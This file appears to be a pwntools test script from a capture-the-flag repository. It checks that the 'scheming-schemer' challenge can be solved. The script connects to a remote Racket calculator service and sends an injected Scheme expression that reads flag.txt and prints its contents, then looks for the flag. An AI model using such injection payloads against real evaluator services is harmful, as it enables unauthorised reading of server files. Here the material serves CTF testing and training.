write-ups-challenges-2020-2021/scheming-schemer/test_script/test-third.py

24 lines
583 B
Python
Raw Permalink Normal View History

2022-11-24 17:03:20 +00:00
from pwn import *
import sys
import re
# Arg1: IP, Arg2: Port
#io = process(['racket ../calculator-app.rkt'])
try:
io = remote(sys.argv[1], sys.argv[2])
except:
print("Challenge not available")
exit(1)
print(io.recv(3))
io.sendline('((lambda () (call-with-input-file "flag.txt" (lambda (input-port) (let loop ((x (read-char input-port))) (if (not (eof-object? x)) (begin (display x) (loop (read-char input-port)))))))))')
res = io.recvline()
print(res)
if re.findall('IGCTF', str(res)):
print("Found flag")
exit(0)
else:
print("No flag found")
exit(1)